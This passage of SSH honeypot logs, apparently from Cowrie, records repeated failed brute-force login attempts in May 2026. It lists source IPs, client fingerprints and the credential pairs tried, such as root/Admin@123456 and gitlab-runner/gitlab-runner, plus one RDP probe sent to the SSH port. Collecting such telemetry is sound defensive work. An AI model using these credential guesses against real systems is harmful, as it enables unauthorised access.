:["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:47.736194Z","src_ip":"83.168.110.85","session":"9f41cbf4aa6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:48.210534Z","src_ip":"83.168.110.85","session":"9f41cbf4aa6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:49.352877Z","src_ip":"83.168.110.85","session":"9f41cbf4aa6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36570,"dst_ip":"159.203.135.109","dst_port":22,"session":"6732f6a64d56","protocol":"ssh","message":"New connection: 83.168.110.85:36570 (159.203.135.109:22) [session: 6732f6a64d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:58.118965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:58.124950Z","src_ip":"83.168.110.85","session":"6732f6a64d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:58.245726Z","src_ip":"83.168.110.85","session":"6732f6a64d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:58.608529Z","src_ip":"83.168.110.85","session":"6732f6a64d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:59.732265Z","src_ip":"83.168.110.85","session":"6732f6a64d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54404,"dst_ip":"159.203.135.109","dst_port":22,"session":"088e4d80e11e","protocol":"ssh","message":"New connection: 83.168.110.85:54404 (159.203.135.109:22) [session: 088e4d80e11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:08.472235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:08.476996Z","src_ip":"83.168.110.85","session":"088e4d80e11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:08.601954Z","src_ip":"83.168.110.85","session":"088e4d80e11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50341,"dst_ip":"10.17.0.5","dst_port":22,"session":"e188235a5a06","protocol":"ssh","message":"New connection: 167.172.81.52:50341 (10.17.0.5:22) [session: e188235a5a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:08.853899Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:08.859560Z","src_ip":"167.172.81.52","session":"e188235a5a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:08.863642Z","src_ip":"167.172.81.52","session":"e188235a5a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:08.970559Z","src_ip":"83.168.110.85","session":"088e4d80e11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:10.098228Z","src_ip":"83.168.110.85","session":"088e4d80e11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49790,"dst_ip":"159.203.135.109","dst_port":22,"session":"66223d3a4f10","protocol":"ssh","message":"New connection: 83.168.110.85:49790 (159.203.135.109:22) [session: 66223d3a4f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:18.581846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:18.586398Z","src_ip":"83.168.110.85","session":"66223d3a4f10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:18.710338Z","src_ip":"83.168.110.85","session":"66223d3a4f10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:19.103141Z","src_ip":"83.168.110.85","session":"66223d3a4f10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:20.227467Z","src_ip":"83.168.110.85","session":"66223d3a4f10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55394,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d193d4a2850","protocol":"ssh","message":"New connection: 83.168.110.85:55394 (159.203.135.109:22) [session: 6d193d4a2850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:28.796308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:28.801316Z","src_ip":"83.168.110.85","session":"6d193d4a2850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:29.062876Z","src_ip":"83.168.110.85","session":"6d193d4a2850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:29.581522Z","src_ip":"83.168.110.85","session":"6d193d4a2850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:30.706290Z","src_ip":"83.168.110.85","session":"6d193d4a2850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37150,"dst_ip":"10.17.0.5","dst_port":22,"session":"afcd7ec7a9b5","protocol":"ssh","message":"New connection: 103.176.20.57:37150 (10.17.0.5:22) [session: afcd7ec7a9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:33.363568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:33.368310Z","src_ip":"103.176.20.57","session":"afcd7ec7a9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:33.625387Z","src_ip":"103.176.20.57","session":"afcd7ec7a9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samuel","message":"login attempt [root/samuel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:34.394455Z","src_ip":"103.176.20.57","session":"afcd7ec7a9b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:35.655136Z","src_ip":"103.176.20.57","session":"afcd7ec7a9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41606,"dst_ip":"159.203.135.109","dst_port":22,"session":"33f7bba77ba9","protocol":"ssh","message":"New connection: 83.168.110.85:41606 (159.203.135.109:22) [session: 33f7bba77ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:38.990793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:39.058148Z","src_ip":"83.168.110.85","session":"33f7bba77ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:39.192411Z","src_ip":"83.168.110.85","session":"33f7bba77ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:39.603891Z","src_ip":"83.168.110.85","session":"33f7bba77ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:40.729538Z","src_ip":"83.168.110.85","session":"33f7bba77ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":58586,"dst_ip":"159.203.135.109","dst_port":22,"session":"8563f367c50d","protocol":"ssh","message":"New connection: 160.251.185.39:58586 (159.203.135.109:22) [session: 8563f367c50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:41.898984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:41.903742Z","src_ip":"160.251.185.39","session":"8563f367c50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:42.089866Z","src_ip":"160.251.185.39","session":"8563f367c50d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amministratore","message":"login attempt [root/amministratore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:42.841065Z","src_ip":"160.251.185.39","session":"8563f367c50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:44.021725Z","src_ip":"160.251.185.39","session":"8563f367c50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":57248,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5852d651161","protocol":"ssh","message":"New connection: 103.118.29.129:57248 (159.203.135.109:22) [session: f5852d651161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:44.749594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:44.755128Z","src_ip":"103.118.29.129","session":"f5852d651161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:45.003650Z","src_ip":"103.118.29.129","session":"f5852d651161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"potato","message":"login attempt [root/potato] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:46.029102Z","src_ip":"103.118.29.129","session":"f5852d651161","protocol":"ssh"}
